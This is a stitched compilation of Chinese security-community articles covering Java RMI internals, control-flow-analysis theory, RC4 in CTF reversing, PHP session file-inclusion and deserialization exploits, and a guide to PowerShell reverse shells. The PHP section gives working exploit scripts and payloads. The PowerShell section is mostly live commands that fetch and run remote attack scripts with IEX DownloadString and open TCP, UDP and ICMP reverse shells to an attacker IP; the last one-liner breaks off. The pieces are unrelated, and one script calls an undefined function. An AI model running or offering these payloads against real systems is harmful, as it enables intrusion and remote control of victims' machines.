int op = in.read(); // transport op
...
switch (op) {
case TransportConstants.Call:
// service incoming RMI call
RemoteCall call = new StreamRemoteCall(conn);
if (serviceCall(call) == false)
return;
break;
case TransportConstants.Ping:
// send ack for ping
DataOutputStream out = new DataOutputStream(conn.getOutputStream());
out.writeByte(TransportConstants.PingAck);
conn.releaseOutputStream();
break;
case TransportConstants.DGCAck:
DGCAckHandler.received(UID.read(in));
break;
default:
throw new IOException("unknown transport op " + op);
}
} while (persistent);
}
...
}
这个函数有点类似与一个请求分发器，读取客户端请求的操作码，然后进入对应分支，这里的请求是Call，所以进入第一个分支。先是创建了一个StreamRemoteCall对象，还记得这个对象在前面哪提到过吗，就是在客户端请求的lookup方法里面的调用的newCall函数里面也创建这个对象。然后继续跟进
public boolean serviceCall(final RemoteCall call) {
try {
/* read object id */
final Remote impl;
ObjID id;
...
Transport transport = id.equals(dgcID) ? null : this;
Target target = ObjectTable.getTarget(new ObjectEndpoint(id, transport));
...
final Dispatcher disp = target.getDispatcher();
target.incrementCallCount();
try {
/* call the dispatcher */
transportLog.log(Log.VERBOSE, "call dispatcher");
final AccessControlContext acc = target.getAccessControlContext();
ClassLoader ccl = target.getContextClassLoader();
ClassLoader savedCcl = Thread.currentThread().getContextClassLoader();
try {
setContextClassLoader(ccl);
currentTransport.set(this);
try {
java.security.AccessController.doPrivileged(
new java.security.PrivilegedExceptionAction<Void>() {
public Void run() throws IOException {
checkAcceptPermission(acc);
disp.dispatch(impl, call);
return null;
}
}, acc);
} catch (java.security.PrivilegedActionException pae) {
throw (IOException) pae.getException();
}
} finally {
setContextClassLoader(savedCcl);
currentTransport.set(null);
}
} catch (IOException ex) {
transportLog.log(Log.BRIEF,"exception thrown by dispatcher: ", ex);
return false;
} finally {
target.decrementCallCount();
}
} catch (RemoteException e) {
...
}
return true;
}
前面我们在创建代理对象的时候每个stub最后都被封装到了Target对象中最后保存到了静态对象ObjectTable.objTable中。这个函数里面开始根据id，transport获取了RegistryImpl_Stub对应的target，然后下面获取dispatcher，实际上就是UnicastServerRef对象。下面设置了一些值和异常处理，然后调用了disp.dispatch(impl,
call)，impl是从target中获取的，call是前面传递的函数参数。
public void dispatch(Remote obj, RemoteCall call) throws IOException {
int num;
long op;
try {
// read remote call header
ObjectInput in;e
try {
in = call.getInputStream();
num = in.readInt();
if (num >= 0) {
if (skel != null) {
oldDispatch(obj, call, num);
return;
} else {
throw new UnmarshalException("skeleton class not found but required " + "for client version");
}
}
op = in.readLong();
} catch (Exception readEx) {
throw new UnmarshalException("error unmarshalling call header",
readEx);
}
....
首先读取了call数据包中的操作码，判断客户端是查询对象还是绑定远程对象或者解绑等操作。这了显然是skel是不为空的，它是RegistryImpl_Skel对象，所以继续调用oldDispatch()。
public void oldDispatch(Remote obj, RemoteCall call, int op)
throws IOException
{
long hash; // hash for matching stub with skeleton
try {
// read remote call header
ObjectInput in;
try {
in = call.getInputStream();
try {
Class<?> clazz = Class.forName("sun.rmi.transport.DGCImpl_Skel");
if (clazz.isAssignableFrom(skel.getClass())) {
((MarshalInputStream)in).useCodebaseOnly();
}
} catch (ClassNotFoundException ignore) { }
hash = in.readLong();
} catch (Exception readEx) {
throw new UnmarshalException("error unmarshalling call header",
readEx);
}
logCall(obj, skel.getOperations()[op]);
unmarshalCustomCallData(in);
// dispatch to skeleton for remote object
skel.dispatch(obj, call, op, hash);
} catch (Throwable e) {
...
} finally {
call.releaseInputStream(); // in case skeleton doesn't
call.releaseOutputStream();
}
}
这个函数里面先做了一些判断skel等，然后打印日志等。后面又调用了skel.dispatch(obj, call, op, hash)。
解释一下各个参数值，obj就是前面从target中获取的RegistryImpl_Stub,call是前面创建的客户端连接，op是前面读取的操作数，hash是读取的序列化对象的hash值，用于在反序列化前判断。
public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
if (var4 != 4905912898345647071L) {
throw new SkeletonMismatchException("interface hash mismatch");
} else {
RegistryImpl var6 = (RegistryImpl)var1;
String var7;
Remote var8;
ObjectInput var10;
ObjectInput var11;
switch(var3) {
case 0:
...
case 1:
...
case 2:
try {
var10 = var2.getInputStream();
var7 = (String)var10.readObject();
} catch (IOException var89) {
throw new UnmarshalException("error unmarshalling arguments", var89);
} catch (ClassNotFoundException var90) {
throw new UnmarshalException("error unmarshalling arguments", var90);
} finally {
var2.releaseInputStream();
}
var8 = var6.lookup(var7);
try {
ObjectOutput var9 = var2.getResultStream(true);
var9.writeObject(var8);
break;
} catch (IOException var88) {
throw new MarshalException("error marshalling return", var88);
}
case 3:
...
case 4:
...
default:
throw new UnmarshalException("invalid method number");
}
}
}
这里才是真正获取到远程对象的地方，这个类没有源码，只有class文件反编译的代码，也不能调试，所以代码不太好看。因为查询对象主要是第二个case分支，所以我就把其他代码删了。看case2的代码逻辑，它先从输入流中读取了一个对象，其实就是客户端序列化写入的远程对象名字的字符串，var6就是RegistryImpl，然后调用它的lookup从bindings中获取到远程对象。然后下面写入输出流中，最后回到上面的oldDispatch中的finnally语句中将输出流中的数据发送出去。
看到这大家应该就大概明白了客户端是怎么获取到远程对象的了，但有人细心调试后可能会发现一点猫腻，我们服务端绑定到bindings的是一个远程对象，我们这读取的到的也是远程对象，最后客户端获取到的对象怎么变成了它的代理对象。
我们知道我们服务端在创建远程对象的过程中还会调用Util.createProxy()创建了一个代理对象，这个代理对象最后被封装到了target对象中，然后存入ObjectTable.objTable静态变量中。我们继续跟进上面的writeObject方法，看看里面是怎么写入对象的。
可以看到这里它又调用了readObject0(),我们继续跟进。
最后我们发现当它执行到这里调用了replaceObject(obj)，然后返回了其对应的代理对象。我们猜测这个方法可能被重写了，我们可以看到下面调试框中显示的当前对象this实际上是ConnectionOutputStream，我们跟进这个对象中找到这个方法。
最后我们在它的子类中找到了这个重写的方法，发现它这里使用远程对象在ObjectTable中查找了其对应的代理对象，这我们就知道了为什么我们客户端获取到的是代理对象。
#### 客户端执行代理对象
上面说了客户端获取远程对象时客户端和服务端的行为，下面继续说一下客户端在获取到代理对象后执行函数时的代码。
上面我们所有的交互都是在和注册中心1099端口交互，现在我们获取到了远程对象的ip和端口，如果我们知道远程对象的ip和端口我们也可以不访问注册中心，直接访问远程对象。
我们前面说了远程对象的创建过程，知道它执行的invoke方法在RemoteObjectInvocationHandler类中，我们可以跟进看一下。
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable
{
if (! Proxy.isProxyClass(proxy.getClass())) {
throw new IllegalArgumentException("not a proxy");
}
if (Proxy.getInvocationHandler(proxy) != this) {
throw new IllegalArgumentException("handler mismatch");
}
if (method.getDeclaringClass() == Object.class) {
return invokeObjectMethod(proxy, method, args);
} else if ("finalize".equals(method.getName()) && method.getParameterCount() == 0 &&
!allowFinalizeInvocation) {
return null; // ignore
} else {
return invokeRemoteMethod(proxy, method, args);
}
}
可以看到前面做了一些判断，然后判断调用的方法是否存在Object对象中(如hashcode，toString等)，这些方法可以就在本地调用。其他的方法就调用invokeRemoteMethod(proxy,
method,
args)实现远程调用。跟进invokeRemoteMethod()方法可以看到它主要调用了UnicastRef.invoke()方法，继续跟进。
public Object invoke(Remote obj,Method method,Object[] params,long opnum) throws Exception
{
...
Connection conn = ref.getChannel().newConnection();
RemoteCall call = null;
boolean reuse = true;
boolean alreadyFreed = false;
try {
...
// create call context
call = new StreamRemoteCall(conn, ref.getObjID(), -1, opnum);
// marshal parameters
try {
ObjectOutput out = call.getOutputStream();
marshalCustomCallData(out);
Class<?>[] types = method.getParameterTypes();
for (int i = 0; i < types.length; i++) {
marshalValue(types[i], params[i], out);
}
}
...
// unmarshal return
call.executeCall();
try {
Class<?> rtype = method.getReturnType();
if (rtype == void.class)
return null;
ObjectInput in = call.getInputStream();
Object returnValue = unmarshalValue(rtype, in);
alreadyFreed = true;
clientRefLog.log(Log.BRIEF, "free connection (reuse = true)");
ref.getChannel().free(conn, true);
return returnValue;
}
...
}
在这个函数中使用JRMP协议调用远程对象的方法，协议交互过程和lookup类似，先创建一个连接，自定义握手过程，然后将param通过marshalValue()方法序列化写入输出流，然后调用call.executeCall()将参数发送给服务端，然后判断返回值，如果是void就直接返回null，本次调用结束，否则调用unmarshalValue()获取返回值最后释放连接返回结果。
服务端的过程和前面lookup大致相同，只是在UnicastServerRef.dispatch()方法调用的过程中，判断的是否存在skel，如果存在，则调用oldDispatch，这就是上面lookup的逻辑，当方法调用时是远程对象的不存在其对应的以_Skel结尾的对象，所以这里判断结果为假，然后继续向下执行。下面就是方法的调用过程，基本上也就是上面客户端的逆过程，就不再分析代码了。
#### 总结
总的来说，RMI整个过程主要涉及的知识点有Socket和动态代理。在服务端每个远程对象(RemoteObject)都会监听一个端口，同时创建一个代理对象(Stub)。注册中心可以说是一个特殊的远程对象。因为其他远程对象的端口实在创建过程中系统随机分配的，客户端只知道注册中心的端口，然后先请求注册中心，他们通过JRMP协议交互进行交互，获取对应远程对象的代理对象。当客户端获取到代理对象后就不会再和注册中心交互了，因为获取到的代理对象中包括了远程对象的监听端口等属性值，所以后面就可以通过代理对象访问远程对象最后将执行结果返回给客户端。在这个过程中的数据处理主要以玩序列化方式传输，所以可能导致反序列化漏洞。
对于客户端而言反序列化漏洞的利用点主要有下面几个地方
* StreamRemoteCall.executeCall()中异常读取(line:245)
* RegistryImpl_Stub.lookup()读取服务端返回的代理对象(line:104)
* 客户端读取服务端执行结果返回值(UnicastRef.unmarshalValue:302)
对于服务端而言可能产生反序列化漏洞的利用点主要有下面几个地方
* 服务端读取客户端(查询/绑定/解绑)对象字符串(RegistryImpl_Skel.dispatch)
* 服务端读取客户端远程方法的参数值(UnicastRef.unmarshalValue:302)
#### 参考链接
[JAVA安全基础（四）-- RMI机制](https://xz.aliyun.com/t/9261) | 社区文章 |
# 程序分析理论 第三部分 控制流分析 理论证明
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
这一篇文章是程序分析理论的理论部分的第七篇，是控制流分析部分的数学表示合理性的理论证明。
距离上一篇的发布已经很久了，所以做一个简单回顾。
目前讲了数据流分析过程间和过程内分析以及理论部分，其中理论部分讲到了结构归纳法，完全格和半序集。过程内分析有流分析，可用表达式Available
Expressions Analysis，结果表达式 Reaching Definition Analysis，必定使用表达式Very Busy
Expressions Analysis，活变量分析Live Variables
Analysis。（翻译为个人理解）以及UD链。过程间分析包括上下文敏感和流敏感以及指针表达式。以及上一篇的控制流分析的抽象化和数学表示。
## 结构上的操作语义 Structural Operational Semantics
理论分析需要借助结构归纳法，所以我们要先将代码描述成结构。由于我们不再记录每一步操作后的变量值，所以我们只记录最初值和变量名
v用来表示value值 ρ表示变量组
v要记录所在语句，变量组。所以我们可以列出这样的表达式：v ::= c | close t in ρ
相对的ρ要记录变量名和值 ： ρ ::= [] | ρ[x -> v]
也就有fn x => e_0可以表示为 close(fn x => e_0) in ρ
由于控制流分析不记录过程中变量的变化，所以会出现中间变量，也就是调用一个函数时，会有一个初始值，而整个程序也有一个初始值，函数的初始值就是中间变量，也就是局部变量。
我们用ie表示中间出现的表达式，it表示中间出现的项
表达式就是经过标签处理的代码，而项就是表达式中除去标签的部分。因为局部变量作用域需要记录，所以it会出现bind ρ in
ie来实现记录作用域。相对的其值也需要记录，所以it又会有close t in ρ的情况
## 例子 Examples
上述式子中包括let in 结构，fn结构以及fun f结构，首先对两个fn结构进行处理：fn y => y ^2 |- close(fn y => y
^2) 我们用id_y表示 fn z => z ^7 |- close(fn z => z ^7) 我们用id_z表示。然后是fun f 结构fun f x
=> (f ^1 (fn y => y ^2)) |- close(fun f x => (f ^1 (fn y => y ^2)))，我们用f表示。
对fn和fun f结构的处理主要是将函数转化为返回值形式作为参数实现控制流分析，也就是将操作当作参数。
let in结构则处理成控制流程图的形式：由于fun f 我们以f作为返回值，所以原结构变成 let g = f ^5 in (g ^6 (fn z =>
z ^7) ^8) ^9。而g = f ^5则是in部分的处理方式，我们记录g与f的转化关系记为bind[g -> f]。后续in部分g
^6由于g与f的转化关系我们将原结构处理成(f ^6 (fn z => z ^7) ^8) ^9。最后将fn z记为 id _z。
最终的表达方式是bind[g -> f] in (f ^6 id_z ^8) ^9。也就是先进行f操作再进行z操作得到的最终结果：(bind [ g ->
f] in (bind [ f-> f] [x -> id_z] in (f ^1(fn y => y ^2) ^3) ^4) ^9) ^10)
由于上述例子处于递归循环结构当中，我们要进行一定的处理，在这个处理过程中，我们不改变g和f的对应关系，也不改变z的操作，只是在函数循环过程中多次执行y操作实现循环，也就是(bind
[ g -> f] in (bind [ f-> f] [x -> id_z] in (bind [ f-> f] [x -> id_y] (f ^1(fn
y => y ^2) ^3) ^4) ^4) ^9) ^10)
## 语义正确Semantic Correctness
我们要证明控制流分析的语义是正确的，首先我们证明过程间的操作语义是合理的：也就是要证明close t in
p是合理的，即一个函数抽象t使用的参数一定包含于p中。除此之外，我们还要保证 t
的子语句中的ie一定是小于母语句中的ie的。这一点的证明我们只需要说明对于每一次调用都只使用本地环境，即任意参数被调用都在本地环境中存在，同时由于只使用本地环境，随着语句的不断更细的分析，ie一定是递减的。
所以对于语义分析，存在一定条件使得上述等式成立：
对于x -> v一定满足x在参数表p中，v一定在参数表p的x的可能性中。
对于 fn x => e_0 -> close(fn x => e_0) in p_0 一定满足 p_0包含于p中，且 fn x =>
e_0为待定量。fun f 同理
对于语句ie_1 ie_2 -> ie’_1 ie_2一定满足ie_1 -> ie’_1
因此我们做出定义：p和关于p的操作满足包含关系的情况下 ie -> ie’
如果关于代码的结果包含于ie中，那么结果一定也包含于ie‘中，也就是对于一个环境变量更精确的条件，执行结果更精确。也就是说对于控制流分析存在一个最小的最优解。
我们如何判断当前结果为最小最优解。这就用到了完全格，摩尔集的知识，这些知识在前面的文章都已经提到了，在这里简单描述。
一个完全格的子集任意元素基于完全格规则的衍生元素依旧包含于当前子集，该子集为摩尔集。
那么我们只要证明{(C,p) | (C,p) |= ie}的集合Y包含所有满足条件的元素即可。
根据 p(x) = close t_x in p_x需要满足t_x 属于 p(x) 并且 p_x 和
p满足关系。由于控制流分析结构满足单调递减的规则。所以t_x 属于 最小p(x) 并且 p_x 和 最小p满足关系。所以当p属于全部环境变量，{p’ |
p’ R p}的集合是摩尔集。
所以对于{(C,p) | (C,p) |= ie}，由于在程序过程中的任意的 i 满足(C_i,p_i) |= ie 所以{(C,p) | (C,p) |=
ie}是摩尔集。
### 最小不动点和最大不动点
在上面的分析中，我们选取的 |=
关系是寻找最大不动点，也就是向最小单元分析包含其环境变量。接下来我们改变其关系为寻找最小不动点，也就是向最大单元分析。来证明我们确实需要利用最大不动点构造摩尔集使得分析成立。
由于我们改变了|=的定义，所以分析方法要重新定义。
e = t ^l
t = (fn x => (x ^l x ^l) ^l) ^l (fn x => (x ^l x ^l) ^l) ^l
lab = {l}
var = {x}
term = {t , fn x => (x ^l x ^l) ^l ,x ^l x ^l ,x}
IEXP = {t ^l | t ∈ Term}
val = P({fn x => (x ^l x ^l) ^l}) = {空集 , {fn x => (x ^l x ^l) ^l }}
和之前一样，我们通过(C,p) |= t来证明最小不动点的{(C,p) | (C,p) |= ie}不是摩尔集
我们先对各种情况满足的条件进行罗列。
对于(C,p) |= x ^l 需要满足 p(x) 包含于 C(l)
(C,p) |= fn x => (x ^l x ^l) ^l 需要满足 {fn x => (x ^l x ^l) ^l} 包含于 C(l)
(C,p) |= (x ^l x ^l) ^l 需要满足 (C,p) |= x ^l 的条件，且如果C(l)不为空，需要满足(C,p) |= (x ^l x
^l) ^l的条件 C(l) = p(x)
也就是说(C,p) 和 (x ^l x ^l) ^l 的关系有三种情况，C(l) = p(x) = 空 ，C(l) = p(x) 不等于空 ， 不成立。
由于摩尔集不能为空，所以当出现第二种情况时，最小不动点的{(C,p) | (C,p) |= ie}不是摩尔集。
## 最后
欢迎指教
_DR[@03](https://github.com/03 "@03")@星盟_ | 社区文章 |
# **前言**
密码学是很重要的一门学科，也是很复杂得学科，但同样是撑起信息安全的伟大学科。不管是在哪个方向，只要与信息有关，都会涉及到密码学。在二进制中会分析大量的加密算法，在web分析中也纯在很多加密方式，今天我就用通俗的语言来分析从浅入深的分析RC4加密算法，并且涉及到其实战中的算法分析。让我们在二进制分析中更加游刃有余。
# **什么是RC4加密算法？**
对这种算法的描述有很多，曾经作为商业密码未被公开过，不过现在这种加密已经成为历史。但是其中很优秀的加密思想依然值得我们学习，除此之外，改良这种算法并加以利用依然很受欢迎。
RC4加密算法是一种对称加密算法。所谓对称加密算法，说得直白一点，就是加密与解密的过程一模一样。假设定义RC4的运算过程是rc4(key,data)，那么，密文=rc4(key,明文)，明文=rc4(key,密文)。这种对称性就是基于秘钥流的加密算法的特征之一，RC4本质上就是一种秘钥流生成算法。其特点就是简单、运行效率高，不会占用过多的CPU，因此常用在很多旧无线网卡的WEP加密。
用一张简图来阐明一下RC4加密的流程：
# **如何理解这张图——加密原理**
KSA算法初始化长度为 256 的 S 盒。第一个 for 循环将 0 到 255 的互不重复的元素装入 S 盒；第二个 for 循环根据密钥打乱 S 盒。
PRGA（Pseudo-random generation algorithm）算法根据 S 盒生成与明文长度相同的秘钥流，使用秘钥流加密明文。
循环体中每收到一个字节，a 和 b 定位S盒中的一个元素，并与输入字节异或，得到密文 k；同时，c 还改变了 S
盒。由于异或运算的特性，使得加密与解密过程一致。如果输入的是明文，输出的就是密文；如果输入的是密文，输出的就是明文。
因为接下来我会用两个例子来跟好的说明这种算法在二进制中的体现。一个是android逆向，会用到java版本的RC4，还有一个题目是伪代码，类似于C代码的形式，因此接下来展示一下C语言如何实现加密的。以方便后面题目的分析。
用于生成KSA，也可以认为是初始化
使用秘钥流进行加密的过程
中规中矩的RC4加密现在已经有解码器可以使用了，因此在CTF比赛中，出题人常常都会对RC4算法进行魔改，让玩家没办法用解码器解码，提高题目的难度，就像base64加密一样，在很多二进制题目中都会出现，但是每次出现都会有不一样的结果，出题人都会改动加密方式。因此，接下来我们就看看两个题目，从而更加理解RC4加密。
**怎样提高逆向中RC4的难度？**
这个题是安恒杯的一个题目，具体的怎样操作，题解就自己去查找，我们就主要分析出题人的思路和RC4加密算法
通过IDA反汇编的伪代码，逻辑不是很难。会先对输入的字符串进行base64加密，但是这个base64加密也不是常规的，更换过密码本的。这个加密直接用一个python脚本就能够解出来。
下面就进行了RC4加密的过程，我们就进入分析RC4，看看伪代码和源码有什么区别
这是准备阶段，初始化
接下来就是加密环节的反汇编代码
结果发现和源码是一样的，由于RC4这种加密的特殊性，不太容易在算法中修改，有效够提高这种题目难度的就是对加密函数的输入进行处理。这题就是运用了变种的base64进行处理。
接下来看看在android逆向中会有什么样的呈现吧。
该题目来自2019SCTF中的一道逆向题目
同样，该题的题解和怎样分析，在这里不会讲，我们依然是讲里面涉及到的加密算法
然而这题的独特之处在于将字符串存放在数据库中，又对字符串进行MD5加密，然后再作为key用于RC4加密。
RC4的变换招式：
1、 用其他加密算法对RC4加密函数的参数进行加密，然后对其进行隐藏，以提高逆向题目的难度。
2、 采用代码混淆，用字符替换RC4中的关键数据，但是结果并不影响，这样能够有效的阻止逆向分析是看出是RC4加密
# **总结** ：
从接触RC4这种加密方式，到在二进制逆向分析中分析这种加密的题目，诀窍在于，出题人会对加密函数的参数做手脚，这样来提高难度。当我们明白RC4加密的原理和过程后，就会发现这种逆向题目并不是很难分析。不管是什么语言写的加密算法，在明白原理后，都是一样的分析。除此之外，在很多加密算法中，都是这样的，比如base64，只要我们明白其加密原理，不管怎样变换，我们都能够很快分析出来。
最后，二进制分析算法问题，我们应该优先了解其加密的机制，熟悉原理，就会知道这个加密算法会有怎样的变换。举一反三，在密码学中很实用，在二进制分析中也是很实用的。 | 社区文章 |
# session利用的小思路
## 前言
做题的时候经常考到session利用，常见的基本就两种，session文件包含和session反序列化，之前没有详细总结过，就写写吧。
## session文件包含
### php.ini
session的相关配置
session.upload_progress.enabled = on //enabled=on表示upload_progress功能开始，也意味着当浏览器向服务器上传一个文件时，php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ；
session.upload_progress.prefix = "upload_progress_" //将表示为session中的键名
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS" //当它出现在表单中，php将会报告上传进度，而且它的值可控！！！
session.use_strict_mode = off //这个选项默认值为off，表示我们对Cookie中sessionid可控！！！
session.save_path = /var/lib/php/sessions //session的存贮位置，默认还有一个 /tmp/目录
当session相关配置如上的时候，我们可以利用`session.upload_progress`将恶意语句写入session文件，从而包含session文件。
平常，当我们要创建session时往往会在php代码里写`session_start()`，但我们不写的话，也是可以创建的。
比如，在php.ini中设置`session.auto_start=On`
的情况下，php在接收请求的时候会自动初始化session，不需要执行`session_start()`。但默认状态下，这个选项是默认关闭的。
不过幸好，session还有一个默认选项，`session.use_strict_mode`默认值为0。
这样用户是可以自己定义session
ID的。比如，我们在cookie里设置PHPSESSID=AndyNoel，就会在服务器`/tmp`目录下或者`/var/lib/php/sessions/`目录下创建一个文件：sess_AndyNoel。即便没有设置自动初始化session，php也会产生session，并生成一个键值，这个键值由`ini.get("session.upload_progress.prefix")`+我们构造的`session.upload_progress.name`值组成，最后被一起写入sess_文件里。
### [WMCTF 2020]Make PHP Great Again
<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
require_once $_GET['file'];
}
//Please hack me with your 0day!
很容易发现存在一个文件包含漏洞，但找不到能包含的恶意文件，那我们就可以往session里面写入恶意内容，然后包含它。
#### session维持
按照上面说的思路创建好session后，问题又来了，那就是在php.ini往往还有一条设置
session.upload_progress.cleanup = on //表示当文件上传结束后，php将会立即清空对应session文件中的内容
默认配置`session.upload_progress.cleanup =
on`导致文件上传后，session文件内容立即清空，清空了就没办法利用了。我们要想办法把session留在里面，所以就要利用条件竞争，在session文件内容清空前进行文件包含利用。
#### 方法一 | 借助Burp Suite
可以在本地写一个上传页面，然后抓包添加`Cookie: PHPSESSID=AndyNoel`，再用BurpSuite爆破
<!DOCTYPE html>
<html>
<body>
<form action="http://localhost/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php system('cat flag.php');?>" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
一边不断发包请求包含恶意的session，一边不断发包以维持恶意session存储。这样就可以利用条件竞争把恶意内容留在session里面了。
#### 方法二 | python脚本
原理和上面的差不多，但是我们直接编写脚本，写shell、取flag一把梭出来，用不着那么麻烦了
import io
import sys
import requests
import threading
sessid = 'AndyNoel'
def WRITE(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
'http://localhost/index.php',
data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat flag.php');?>"},
files={"file":('1.txt', f)},
cookies={'PHPSESSID':sessid}
)
def READ(session):
while True:
resp = session.get(f'http://localhost/index.php/?file=../../../../../../../../tmp/sess_{sessid}')
if 'flag{' in resp.text:
print(resp.text)
sys.exit(0)
else:
print('Thinking[+++++++]')
with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = True
t1.start()
READ(session)
#### 方法三（非预期） | 伪协议配合多级符号链接的办法进行绕过。
在这里有个小知识点，`/proc/self`指向当前进程的`/proc/pid/`，`/proc/self/root/`是指向`/`的符号链接，想到这里，用伪协议配合多级符号链接的办法进行绕过。
payload：
?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
另外一个payload
?file=php://filter/convert.base64-encode/resource=/nice/../../proc/self/cwd/flag.php
## session反序列化
选择不同的处理器，处理方式也不一样，如果序列化和储存session与反序列化的方式不同，就有可能导致漏洞的产生。
### Jarvis OJ WEB PHPINFO
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
如果只看php代码，其实我们是找不到参数可控的地方的，所以通过什么方法来进行反序列化呢？`session.serialize_handler`
`session.serialize_handler (string)` 用来定义序列化／反序列化的处理器名字。 当前支持 PHP 序列化格式 (名为
php_serialize)、 PHP PHP 内部格式 (名为 php 及 php_binary) 和 WDDX (名为 wddx)。 如果 PHP
编译时加入了 [WDDX 支持](https://www.php.net/manual/zh/ref.wddx.php)，则只能用 WDDX。
`php_serialize` 在内部简单地直接使用`serialize/unserialize`函数，并且不会有 php 和 php_binary
所具有的限制。 使用较旧的序列化处理器导致 $_SESSION 的索引既不能是数字也不能包含特殊字符(| and !) 。
可以看一下这个题目环境的phpinfo，在session部分
默认`session.serialize_handler`为`php_serialize`，而这里却设置为php：
这样就很明显了，[因为处理器对应的处理格式不同导致出现session反序列化漏洞](https://github.com/80vul/phpcodz/blob/master/research/pch-013.md)
但还是不够，因为我们还是没办法控制变量，翻看PHP手册有个有意思的地方：
既然如此，我们可以去看看有关session的php.ini的设置
* `session.upload_progress.enabled = on`
* `session.upload_progress.name = PHP_SESSION_UPLOAD_PROGRESS`
设置是这样的话，我们就可以构造反序列化了。
<?php
class OowoO
{
public $mdzz='var_dump(scandir("/opt/lampp/htdocs/"));';//从phpinfo看见的
}
$obj = new OowoO();
echo serialize($obj);
?>
O:5:"OowoO":1:{s:4:"mdzz";s:40:"var_dump(scandir("/opt/lampp/htdocs/"));";}
为了防止双引号转义，所以要处理一下，在双引号前面加`\`，所以应该是这样
O:5:\"OowoO\":1:{s:4:\"mdzz\";s:40:\"var_dump(scandir(\"/opt/lampp/htdocs/\"));\";}
然后自己本地写一个提交页面：
<form action="http://localhost/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="ADNL" />
<input type="file" name="file" />
<input type="submit" />
</form>
抓包修改，在序列化的字符串前加 |，提交即可。
## 小结
session有关的安全性问题主要是文件包含和反序列化两个利用点，利用`PHP_SESSION_UPLOAD_PROGRESS`可以绕过大部分过滤。 | 社区文章 |
# powershell反弹shell常见方式
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
>
> 本文整理了通过powershell反弹shell的常见方式。利用powercat、dnscat2、nishang、Empire、PowerSploit、Metasploit、Cobalt
> strike、powershell自定义函数等方式反弹TCP/UDP/HTTP/HTTPS/ICMP/DNS等类型shell。
> **测试环境说明**
> 攻击者：KALI2.0 32位 192.168.159.134
> 攻击者2：Ubuntu 14.04 LTS 192.168.159.129 （仅在dnscat2 反弹DNS shell中使用）
> 目标机：Windows Server 2008 X64 192.168.159.138
## powercat反弹shell
powercat（<https://github.com/besimorhino/powercat>
）为Powershell版的Netcat，实际上是一个powershell的函数，使用方法类似Netcat
攻击者(192.168.159.134)开启监听：
`nc -lvp 6666`
或者使用powercat监听
`powercat -l -p 6666`
目标机反弹cmd shell：
powershell IEX (New-Object System.Net.Webclient).DownloadString
('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');
powercat -c 192.168.159.134 -p 6666 -e cmd
## nishang反弹shell
Nishang(<https://github.com/samratashok/nishang>
)是一个基于PowerShell的攻击框架，集合了一些PowerShell攻击脚本和有效载荷，可反弹TCP/ UDP/ HTTP/HTTPS/
ICMP等类型shell。说明：本文没有具体实现nishang反弹http/https shell
## Reverse TCP shell
攻击者(192.168.159.134)开启监听：
`nc -lvp 6666`
目标机执行：
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com
/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');
Invoke-PowerShellTcp -Reverse -IPAddress 192.168.159.134 -port 6666
或者将nishang下载到攻击者本地：
`powershell IEX (New-Object
Net.WebClient).DownloadString('http://192.168.159.134/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.159.134
-port 6666`
## Reverse UDP shell
攻击者(192.168.159.134)开启监听：
`nc -lvup 53`
目标机执行：
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.159.134/nishang/Shells/Invoke-PowerShellUdp.ps1');
Invoke-PowerShellUdp -Reverse -IPAddress 192.168.159.134 -port 53
## Reverse ICMP shell
需要利用icmpsh_m.py ([https://github.com/inquisb/icmpsh)和nishang中的Invoke-PowerShellIcmp.ps1](https://github.com/inquisb/icmpsh\)%E5%92%8Cnishang%E4%B8%AD%E7%9A%84Invoke-PowerShellIcmp.ps1) 来反弹ICMP shell。
首先攻击端下载icmpsh_m.py文件
icmpsh_m.py Usage：
python icmpsh_m.py [Attacker IP] [Victim IP]
攻击者(192.168.159.134)执行：
sysctl -w net.ipv4.icmp_echo_ignore_all=1 #忽略所有icmp包
python icmpsh_m.py 192.168.159.134 192.168.159.138 #开启监听
目标机(192.168.159.138)执行： `powershell IEX (New-Object
Net.WebClient).DownloadString('http://192.168.159.134/nishang/Shells/Invoke-PowerShellIcmp.ps1');Invoke-PowerShellIcmp -IPAddress 192.168.159.134`
````
## 自定义powershell函数反弹shell
利用powershell创建一个Net.Sockets.TCPClient对象，通过Socket反弹tcp
shell，其实也是借鉴nishang中的Invoke-PowerShellTcpOneLine.ps1
攻击者(192.168.159.134) 开启监听：
`nc -lvp 6666`
目标机执行：
powershell -nop -c "$client = New-Object Net.Sockets.TCPClient('192.168.159.134',6666);$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;
